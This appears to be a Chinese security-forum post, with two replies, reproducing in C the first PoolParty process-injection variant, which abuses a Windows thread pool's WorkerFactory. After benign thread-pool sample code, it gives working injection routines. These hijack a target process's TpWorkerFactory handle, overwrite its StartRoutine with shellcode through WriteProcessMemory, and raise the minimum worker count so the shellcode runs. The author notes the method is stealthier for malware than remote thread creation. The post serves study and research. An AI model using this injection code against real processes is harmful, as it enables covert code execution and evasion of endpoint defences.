首页
社区
课程
招聘
[原创]泳池派对注入(1): 利用线程池的 WorkerFactory 实现注入
发表于: 2026-10-17 17:26 1550

[原创]泳池派对注入(1): 利用线程池的 WorkerFactory 实现注入

2026-10-17 17:26
1550

1. 线程池介绍

在 Windows 环境中,许多程序需要处理大量短生命周期、异步或事件驱动的任务。如果为每个任务单独创建线程,会增加线程创建、销毁和调度的开销。线程池通过复用工作线程执行不同任务,可以降低这些成本。程序只需要将任务提交给线程池,不需要调用CreateThread()或者 CreateRemoteThread()等函数创建新的线程。

Windows 线程池不仅支持普通工作项,还支持定时器、等待对象和异步 I/O 等多种任务类型。程序提交任务或注册回调后,线程池运行时负责组织工作项,并在适当的时机调度工作线程(不需要手动创建)执行相应的 Callback。对于恶意软件而言,由线程池调用 Callback 执行恶意代码,可能比直接通过 CreateRemoteThread() 创建线程更为隐蔽。

2023年12月,SafeBreach 研究人员在 Black Hat Europe 公开了 PoolParty 系列进程注入技术。与传统的远程线程注入不同,这类技术利用 Windows 线程池的内部机制影响目标进程中的代码执行路径,可用于执行恶意代码。PoolParty 介绍了 8 种变体注入,涉及工作线程工厂、工作项、I/O 完成队列、定时器等不同对象。

本文介绍 PoolParty 的第一种变体注入方式,即利用 WorkerFactory 相实现代码注入。

(原项目 PoolParty 是用 C++代码写的,代码非常优雅整洁。国内已经有些文章介绍了PoolParty,为了加深学习印象,我用 C 语言重新实现了一遍,在此写下学习记录,希望各位不要嫌弃代码混乱;原项目链接已放在文章末尾)

2. 默认线程池和自定义线程池

Windows 为应用程序提供默认线程池,也允许应用程序通过 CreateThreadpool() 创建自定义线程池。两者的主要区别在于管理方式和配置能力。默认线程池由系统管理,应用程序通常直接向其提交工作;自定义线程池允许开发者设置线程数量相关参数,并通过回调环境将特定任务关联到指定线程池。

以下是通过CreateThreadpool() 创建自定义的线程池的一个示例代码

#include <windows.h>
#include <stdio.h>

// 打印带时间戳的日志
void Log(const char* poolName, const char* msg) {
    printf("[%04lu ms][线程 %-5lu] [%-12s] %s\n",
        GetTickCount(), GetCurrentThreadId(), poolName, msg);
}

// 模拟阻塞型任务
VOID CALLBACK HeavyTask(PTP_CALLBACK_INSTANCE Instance, PVOID Context) {
    Log((const char*)Context, "开始执行耗时任务 (挂起 3 秒)...");
    Sleep(3000);
    Log((const char*)Context, "耗时任务完成");
}

// 模拟快速响应任务
VOID CALLBACK FastTask(PTP_CALLBACK_INSTANCE Instance, PVOID Context) {
    Log((const char*)Context, "★ 快速任务【立即响应】完成 ★");
}

int main() {
    DWORD startTime = GetTickCount();
    printf("===== 实验开始 =====\n");

    // 1. 创建自定义线程池并配置回调环境
    PTP_POOL customPool = CreateThreadpool(NULL);
    SetThreadpoolThreadMaximum(customPool, 2); // 限制最多2个线程
    SetThreadpoolThreadMinimum(customPool, 1); // 保持最少1个活跃线程

    TP_CALLBACK_ENVIRON cbe;
    InitializeThreadpoolEnvironment(&cbe);
    SetThreadpoolCallbackPool(&cbe, customPool); // 绑定环境与自定义池

    // 2. 向【默认线程池】灌入大量阻塞任务(占用系统工作线程)
    // NULL 环境参数即代表提交到默认线程池
    for (int i = 0; i < 4; i++) {
        TrySubmitThreadpoolCallback(HeavyTask, "DefaultPool", NULL);//第三个参数为 NULL 时,意味着任务提交给了默认的线程池
    }
    Sleep(100); // 确保阻塞任务已被默认线程池拾取

    // 3. 同时派发两个需要快速响应的任务
    printf("\n--- 同时提交快速任务 ---\n");
    // 提交到默认池(受阻塞任务干扰)
    TrySubmitThreadpoolCallback(FastTask, "DefaultPool", NULL);
    // 提交到自定义池(完全隔离)
    TrySubmitThreadpoolCallback(FastTask, "CustomPool", &cbe);

    // 4. 等待所有任务完成
    Sleep(4000);

    // 5. 清理自定义线程池
    DestroyThreadpoolEnvironment(&cbe);
    CloseThreadpool(customPool);

    printf("===== 实验结束 =====\n");
    return 0;
}

TrySubmitThreadpoolCallback() 函数的第三个参数为 NULL 时,意味着任务提交给了默认的线程池;
测试代码中的 TrySubmitThreadpoolCallback(FastTask, "CustomPool", &cbe),任务提交给了自定义的线程池。

程序运行结果如下图所示
图片描述

自定义线程池 CustomPool 的快速任务在提交后毫秒级立即响应。
默认线程池 DefaultPool 的快速任务可能需要等待系统调度新的默认线程池线程(通常有几百毫秒甚至更长的延迟),或者直到某一个耗时任务结束才开始执行。

默认线程池全进程共享,若某个任务死锁或长时间阻塞,会影响默认池里的其他任务,没有限制数量,进程池的生命周期与进程共存亡

自定义线程池拥有独立的任务队列和专用工作线程,互不影响,可通过函数 SetThreadpoolThreadMaximum/Minimum 精确控制线程数量,可随时创建、清空、销毁 (CloseThreadpool)

3. 工作线程 Worker 介绍

#include <windows.h>
#include <stdio.h>

void CALLBACK WorkCallback(
    PTP_CALLBACK_INSTANCE instance,
    PVOID context,
    PTP_WORK work
)
{
    printf("Worker TID = %lu\n", GetCurrentThreadId());
    Sleep(10000);
}

int main()
{
    printf("PID = %lu\n", GetCurrentProcessId());
    PTP_POOL pool = CreateThreadpool(NULL);

    SetThreadpoolThreadMinimum(pool, 4);
    SetThreadpoolThreadMaximum(pool, 4);

    TP_CALLBACK_ENVIRON env;
    InitializeThreadpoolEnvironment(&env);

    SetThreadpoolCallbackPool(&env, pool);

    PTP_WORK work = CreateThreadpoolWork(
        WorkCallback,
        NULL,
        &env
    );

    for (int i = 0; i < 4; i++)
        SubmitThreadpoolWork(work);

    WaitForThreadpoolWorkCallbacks(work, FALSE);

    CloseThreadpoolWork(work);
    DestroyThreadpoolEnvironment(&env);
    CloseThreadpool(pool);

    return 0;
}

图片描述

这段测试代码展示了 TP_WORK 工作对象的基本用法:应用程序创建工作对象,通过 SubmitThreadpoolWork() 提交任务,再由线程池中的工作线程执行回调。WaitForThreadpoolWorkCallbacks() 用于等待相关回调完成,避免在任务仍然运行时就进入清理流程。

需要注意的是程序提交的是工作项 TP_WORK,而不是为每个工作项单独创建一个线程。

4. WorkerFactory 介绍

WorkerFactory 是用于管理线程池的工作线程创建及相关运行状态的内核对象。当线程池需要更多工作线程,且当前状态与线程数量配置允许扩展时,WorkerFactory 可以在目标进程中创建新的工作线程;对于空闲时间超过相应超时条件的工作线程,系统也可以将其终止,以回收资源。

用户态的程序不能直接访问 WorkerFactory,只能通过句柄读取 WorkerFactory 相关信息。WorkerFactory 的相关信息存在 WORKER_FACTORY_BASIC_INFORMATION 结构体中

typedef struct _WORKER_FACTORY_BASIC_INFORMATION {
    LARGE_INTEGER Timeout;
    LARGE_INTEGER RetryTimeout;
    LARGE_INTEGER IdleTimeout;
    BOOLEAN Paused;
    BOOLEAN TimerSet;
    BOOLEAN QueuedToExWorker;
    BOOLEAN MayCreate;
    BOOLEAN CreateInProgress;
    BOOLEAN InsertedIntoQueue;
    BOOLEAN Shutdown;
    ULONG BindingCount;
    ULONG ThreadMinimum;      // WorkerFactory 相关的最小工作线程 Worker 数量配置
    ULONG ThreadMaximum;      // WorkerFactory 相关的最大工作线程 Worker 数量配置
    ULONG PendingWorkerCount; // WorkerFactory 相关的待处理工作线程计数
    ULONG WaitingWorkerCount;
    ULONG TotalWorkerCount;   //当前 Worker 的数量
    ULONG ReleaseCount;
    LONGLONG InfiniteWaitGoal;
    PVOID StartRoutine;      //线程池里所有工作线程 worker 的统一入口点
    PVOID StartParameter;    //工作线程 worker 启动例程相关的参数
    HANDLE ProcessId;        //与该 WorkerFactory 关联的进程标识信息
    SIZE_T StackReserve;
    SIZE_T StackCommit;
    NTSTATUS LastThreadCreationStatus;
} WORKER_FACTORY_BASIC_INFORMATION, * PWORKER_FACTORY_BASIC_INFORMATION;

5. 利用 WorkerFactory 实现注入的原理

每个线程池(TP_POOL)通常对应一个 WorkerFactory 句柄。当任务量增加且现有线程被占满时,WorkerFactory 负责在目标进程中派生新的工作线程。

线程池创建新的 Worker Thread 时,WorkerFactory 会使用其记录的 StartRoutine 作为新线程刚启动时默认执行的函数指针。如果攻击者将 StartRoutine 修改为恶意 Shellcode 的内存地址,并增加了 WorkerFactory 最少的工作线程 Worker 数量(+1),那么 WorkerFactory 不得不新创建一个 Worker Thread ,此时线程仍会按照正常的线程创建机制从 StartRoutine 这个入口地址开始执行,但实际执行的已经是攻击者植入的恶意 Shellcode,从而实现代码注入。

6. 注入的代码实现

以下是用 C 语言展示的PoolParty 的第一种变体注入方式,流程如下

6.1 获取 WorkerFactory 句柄

  • 打开目标进程句柄,利用 GetModuleHandleA() 和 GetProcAddress()获取以下两个函数 NtQueryInformationProcess()和NtQueryObject()的地址

NtQueryInformationProcess() 主要用于获取指定进程的各种详细信息,在接受 ProcessHandleInformation 这个参数后,会返回目标进程的所有句柄的快照(Snapshot)。

NtQueryObject() 主要用于获取特定内核对象(如文件、注册表项、线程、进程、事件等句柄)的属性和类型信息

  • 调用NtQueryInformationProcess()查询目标进程的所有句柄信息
  • 调用DuplicateHandle() 用于跨进程复制对象句柄
  • 把刚复制的句柄挨个作为参数放进函数NtQueryObject() 中,让系统返回这句柄的类型信息
  • 将句柄的类型名称与字符串"TpWorkerFactory"进行对比,找到 TpWorkerFactory 句柄
HANDLE HijackWorkerFactoryHandle(HANDLE hProcess, DWORD pid) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    pfnNtQueryInformationProcess NtQueryInformationProcess = (pfnNtQueryInformationProcess)GetProcAddress(hNtdll, "NtQueryInformationProcess");
    pfnNtQueryObject NtQueryObject = (pfnNtQueryObject)GetProcAddress(hNtdll, "NtQueryObject");

    ULONG size = 0x10000;
    PPROCESS_HANDLE_SNAPSHOT_INFORMATION pHandleInfo = NULL;
    NTSTATUS status;

    do {
        pHandleInfo = (PPROCESS_HANDLE_SNAPSHOT_INFORMATION)realloc(pHandleInfo, size);
        status = NtQueryInformationProcess(hProcess, ProcessHandleInformation, pHandleInfo, size, &size);
    } while (status == STATUS_INFO_LENGTH_MISMATCH);

    if (status != STATUS_SUCCESS) return NULL;

    HANDLE hTargetWorkerFactory = NULL;
    for (ULONG_PTR i = 0; i < pHandleInfo->NumberOfHandles; i++) {
        HANDLE hDup = NULL;
        if (DuplicateHandle(hProcess, pHandleInfo->Handles[i].HandleValue, GetCurrentProcess(), &hDup, 0, FALSE, DUPLICATE_SAME_ACCESS)) {
            BYTE buffer[1024];
            ULONG returnLength;
            if (NtQueryObject(hDup, 2, buffer, sizeof(buffer), &returnLength) == STATUS_SUCCESS) {
                POBJECT_TYPE_INFORMATION pTypeInfo = (POBJECT_TYPE_INFORMATION)buffer;
                if (pTypeInfo->TypeName.Buffer && wcscmp(pTypeInfo->TypeName.Buffer, L"TpWorkerFactory") == 0) {
                    hTargetWorkerFactory = hDup;
                    printf("[info]    Hijacked worker factory handle from the target process: %016IX\n", (ULONG_PTR)pHandleInfo->Handles[i].HandleValue);
                    break;
                }
            }
            if (!hTargetWorkerFactory) CloseHandle(hDup);
        }
    }
    free(pHandleInfo);
    return hTargetWorkerFactory;
}

6.2 获取 WorkerFactory 基本信息

将之前获取的 WorkerFactory 句柄传入函数 NtQueryInformationWorkerFactory() 中,返回结构体中包含该WorkerFactory的基本数据,例如起始例程地址(StartRoutine)、挂起的工作项数量以及当前工作线程的数量

NtQueryInformationWorkerFactory() 是 ntdll.dll 的未公开 API,用于查询 WorkerFactory 对象的内部信息。

WORKER_FACTORY_BASIC_INFORMATION wfbi = { 0 }
GetWorkerFactoryBasicInformationC(hWorkerFactory, &wfbi)

BOOL GetWorkerFactoryBasicInformationC(HANDLE hWorkerFactory, PWORKER_FACTORY_BASIC_INFORMATION pOutInfo) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    pfnNtQueryInformationWorkerFactory NtQueryInformationWorkerFactory = (pfnNtQueryInformationWorkerFactory)GetProcAddress(hNtdll, "NtQueryInformationWorkerFactory");

    ULONG returnLength = 0;
    NTSTATUS status = NtQueryInformationWorkerFactory(hWorkerFactory, WorkerFactoryBasicInformation, pOutInfo, sizeof(WORKER_FACTORY_BASIC_INFORMATION), &returnLength);
    if (status == STATUS_SUCCESS) {
        printf("[info]    Retrieved target worker factory basic information\n");
        return TRUE;
    }
    return FALSE;
}

获取 WorkerFactory 的基本信息后,就可以得知 WORKER_FACTORY_BASIC_INFORMATION 结构体的成员 StartRoutine。前面已经提到 StartRoutine 是一个地址值,是线程池里工作线程 worker 执行时的起点。

6.3 在 StartRoutine 写入 shellcode 并触发执行

在获取目标进程的 WorkerFactory 并查询到 StartRoutine 的具体地址后,将该地址覆盖为预先准备好的 shellcode。接着,通过调用函数 SetWorkerFactoryMinimumThreads() 调整 WorkerFactory 的最小 Worker 数量,迫使其创建新的 Worker Thread,触发执行 shellcode。

SetWorkerFactoryMinimumThreads() 用于设置 WorkerFactory 所维持的最小活跃线程数量

WriteShellcodeToTarget(hProcess, wfbi.StartRoutine, g_Shellcode, shellcodeSize))

BOOL WriteShellcodeToTarget(HANDLE hProcess, PVOID pDest, PBYTE pShellcode, SIZE_T shellcodeSize) {
    DWORD oldProtect;
    if (!VirtualProtectEx(hProcess, pDest, shellcodeSize, PAGE_EXECUTE_READWRITE, &oldProtect)) return FALSE;

    SIZE_T bytesWritten;
    if (!WriteProcessMemory(hProcess, pDest, pShellcode, shellcodeSize, &bytesWritten)) {
        VirtualProtectEx(hProcess, pDest, shellcodeSize, oldProtect, &oldProtect);
        return FALSE;
    }

    VirtualProtectEx(hProcess, pDest, shellcodeSize, oldProtect, &oldProtect);

    //刷新指令缓存,确保 CPU执行shellcode,不执行旧缓存
    FlushInstructionCache(hProcess, pDest, shellcodeSize);

    printf("[info]    Written shellcode to the target process\n");
    return TRUE;
}


ULONG newMinThreads = wfbi.TotalWorkerCount + 1; 
SetWorkerFactoryMinimumThreads(hWorkerFactory, newMinThreads);  //WorkerFactory 的 worker 线程+1

成功实现注入

图片描述

7. 参考链接


传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!

最后于 2026-10-17 17:33 被ZyOrca编辑 ,原因: 调整排版,修正错误
收藏
点赞 ・2
打赏
分享
最新回复 (2)
雪    币: 3029
活跃值: (5935)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2 楼
mark
2026-10-17 20:03
0
雪    币: 8410
活跃值: (13534)
能力值: (RANK:385 )
在线值:
发帖
回帖
粉丝
3 楼
感谢楼主分享利用线程池 WorkerFactory 实现注入的分析思路与 C 语言复现过程

帖子要点:
1. 介绍 Windows 线程池复用工作线程执行回调,相比直接创建线程更隐蔽,并引出 PoolParty 的 8 种变体。
2. 对比默认线程池与 CreateThreadpool 自定义线程池:前者全进程共享、无数量限制,后者有独立队列且可配置线程数。
3. 说明 TP_WORK 工作对象用法:提交的是工作项而非单独创建线程,并用 WaitForThreadpoolWorkCallbacks 等待回调完成。
4. 介绍 WorkerFactory 内核对象及其 WORKER_FACTORY_BASIC_INFORMATION 结构,重点字段为 StartRoutine 与线程数量配置。
5. 注入原理:改写 StartRoutine 为 shellcode 地址,再提高最小工作线程数,迫使 WorkerFactory 新建线程从该入口执行。
6. 实现流程:遍历目标进程句柄找到 TpWorkerFactory,查询基本信息取 StartRoutine,写入 shellcode 后调整最小线程数触发。

AI 辅助总结,详细内容请认真看楼主发帖。
最后于 3天前 被TkBinary编辑 ,原因:
2026-10-22 10:22
0
游客
登录 | 注册 方可回帖
返回